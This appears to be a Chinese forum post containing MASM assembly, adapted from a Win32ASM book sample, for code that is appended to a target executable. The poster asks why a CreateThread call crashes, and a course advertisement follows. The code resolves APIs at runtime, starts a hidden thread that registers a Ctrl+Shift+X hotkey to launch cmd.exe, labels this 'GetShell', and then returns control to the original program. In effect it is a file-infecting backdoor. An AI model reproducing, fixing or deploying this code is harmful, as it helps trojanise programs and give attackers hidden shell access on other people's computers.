;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Sample code for < Win32ASM Programming 2nd Edition>
; by 罗云彬, http://asm.yeah.net
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 要被添加到目标文件后面的执行代码
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 一些函数的原形定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProtoGetProcAddress typedef proto :dword,:dword
_ProtoLoadLibrary typedef proto :dword
_ProtoMessageBox typedef proto :dword,:dword,:dword,:dword
_ProtoDialogBoxParam typedef proto :dword,:dword,:dword,:dword,:dword
_ProtoExitThread typedef proto :dword
_ProtoGetDlgItemText typedef proto :dword,:dword,:dword,:dword
_Protolstrcmp typedef proto :dword,:dword
_ProtoRegisterHotKey typedef proto :dword,:dword,:dword,:dword
_ProtoGetMessage typedef proto :dword,:dword,:dword,:dword
_ProtoCreateThread typedef proto :dword,:dword,:dword,:dword,:dword,:dword
_ProtoWinExec typedef proto :dword,:dword
;_HookHotKey typedef proto
_ApiGetProcAddress typedef ptr _ProtoGetProcAddress
_ApiLoadLibrary typedef ptr _ProtoLoadLibrary
_ApiMessageBox typedef ptr _ProtoMessageBox
_ApiDialogBoxParam typedef ptr _ProtoDialogBoxParam
_ApiExitThread typedef ptr _ProtoExitThread
_ApiGetDlgItemText typedef ptr _ProtoGetDlgItemText
_Apilstrcmp typedef ptr _Protolstrcmp
_ApiRegisterHotKey typedef ptr _ProtoRegisterHotKey
_ApiGetMessage typedef ptr _ProtoGetMessage
_ApiCreateThread typedef ptr _ProtoCreateThread
_ApiWinExec typedef ptr _ProtoWinExec
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;
APPEND_CODE equ this byte
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 被添加到目标文件中的代码从这里开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include _GetKernel.asm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
hDllKernel32 dd ?
hDllUser32 dd ?
_GetProcAddress _ApiGetProcAddress ?
_LoadLibrary _ApiLoadLibrary ?
_MessageBox _ApiMessageBox ?
_DialogBoxParam _ApiDialogBoxParam ?
_ExitThread _ApiExitThread ?
_GetDlgItemText _ApiGetDlgItemText ?
_lstrcmp _Apilstrcmp ?
_RegisterHotKey _ApiRegisterHotKey ?
_GetMessage _ApiGetMessage ?
_CreateThread _ApiCreateThread ?
_WinExec _ApiWinExec ?
szLoadLibrary db 'LoadLibraryA',0
szGetProcAddress db 'GetProcAddress',0
szUser32 db 'user32',0
szMessageBox db 'MessageBoxA',0
szDialogBoxParam db 'DialogBoxParamA',0
szExitThread db 'ExitThread',0
szGetDlgItemText db 'GetDlgItemTextA',0
szlstrcmp db 'lstrcmpA',0
szRegisterHotKey db 'RegisterHotKey',0
szGetMessage db 'GetMessageA',0
szCreateThread db 'CreateThread',0
szWinExec db 'WinExec',0
szCaption db '问题提示',0
szCmd db 'cmd.exe',0
szHwnd db 'GetShell',0
szMyPassWord db 'simskyc',0
szWrongPassWord db '密码错误',0
szRightPassWord db '密码正确'
mHotKeyMsg MSG <>
swThreadID dd ?
;********************************************************************
; 新的函数入口地址
;********************************************************************
_HookHotKey proc uses eax ebx esi
invoke [ebx+_RegisterHotKey],NULL,1h,MOD_CONTROL + MOD_SHIFT,58h
.if eax==0
invoke [ebx+_ExitThread],NULL
.endif
.while TRUE
lea ecx,[ebx+mHotKeyMsg]
invoke [ebx+_GetMessage],ecx,NULL,0,0
.break .if eax==0
mov eax,[ebx+mHotKeyMsg.message]
.if eax==WM_HOTKEY
mov eax,[ebx+mHotKeyMsg.wParam]
.if eax==1h
lea ecx,[ebx+szCmd]
invoke [ebx+_WinExec],ecx,SW_SHOWNORMAL
invoke [ebx+_ExitThread],NULL
;invoke GetModuleHandle,NULL
;mov hInstance,eax
;invoke DialogBoxParam,NULL,DLG_MAIN,NULL,offset _ProcDlgMain,NULL
;ret
.endif
.endif
.endw
_HookHotKey endp
;********************************************************************
; 新的入口地址
;********************************************************************
_NewEntry:
;********************************************************************
; 重定位并获取一些 API 的入口地址
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
invoke _GetKernelBase,[esp] ;获取Kernel32.dll基址
.if ! eax
jmp _ToOldEntry
.endif
mov [ebx+hDllKernel32],eax ;获取GetProcAddress入口
lea eax,[ebx+szGetProcAddress]
invoke _GetApi,[ebx+hDllKernel32],eax
.if ! eax
jmp _ToOldEntry
.endif
mov [ebx+_GetProcAddress],eax
;********************************************************************
lea eax,[ebx+szLoadLibrary] ;获取LoadLibrary入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_LoadLibrary],eax
lea eax,[ebx+szUser32] ;获取User32.dll基址
invoke [ebx+_LoadLibrary],eax
mov [ebx+hDllUser32],eax
lea eax,[ebx+szMessageBox] ;获取MessageBox入口
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
mov [ebx+_MessageBox],eax
lea eax,[ebx+szWinExec] ;获取WinExec入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_WinExec],eax
lea eax,[ebx+szCreateThread] ;获取CreateThread入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_CreateThread],eax
lea eax,[ebx+szGetMessage] ;获取GetMessage入口
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
mov [ebx+_GetMessage],eax
lea eax,[ebx+szRegisterHotKey] ;获取RegisterHotKey入口
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
mov [ebx+_RegisterHotKey],eax
lea eax,[ebx+szlstrcmp] ;获取lstrcmp入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_lstrcmp],eax
lea eax,[ebx+szGetDlgItemText] ;获取GetDlgItemText入口
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
mov [ebx+_GetDlgItemText],eax
lea eax,[ebx+szExitThread] ;获取ExitThread入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_ExitThread],eax
lea eax,[ebx+szDialogBoxParam] ;获取DialogBoxParam入口
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
mov [ebx+_DialogBoxParam],eax
;********************************************************************
; 插入的操作
;********************************************************************
lea ecx,[ebx+swThreadID]
;lea eax,[ebx+_API]
;invoke [ebx+_MessageBox],NULL,ecx,NULL,MB_YESNO or MB_ICONQUESTION
invoke [ebx+_CreateThread],NULL,0,addr _HookHotKey,NULL,NULL,ecx
;lea ecx,[ebx+_ExitThread]
;ret
;invoke [ebx+_WinExec],ecx,SW_SHOWNORMAL
;********************************************************************
; 执行原来的文件
;********************************************************************
_ToOldEntry:
db 0e9h ;0e9h是jmp xxxxxxxx的机器码
_dwOldEntry:
dd ? ;用来填入原来的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
APPEND_CODE_END equ this byte
请高手帮忙看看 用其他的函数都没有 唯独用createthread 就会出现错误
[课程]FART 脱壳王！加量不加价！FART作者讲授！
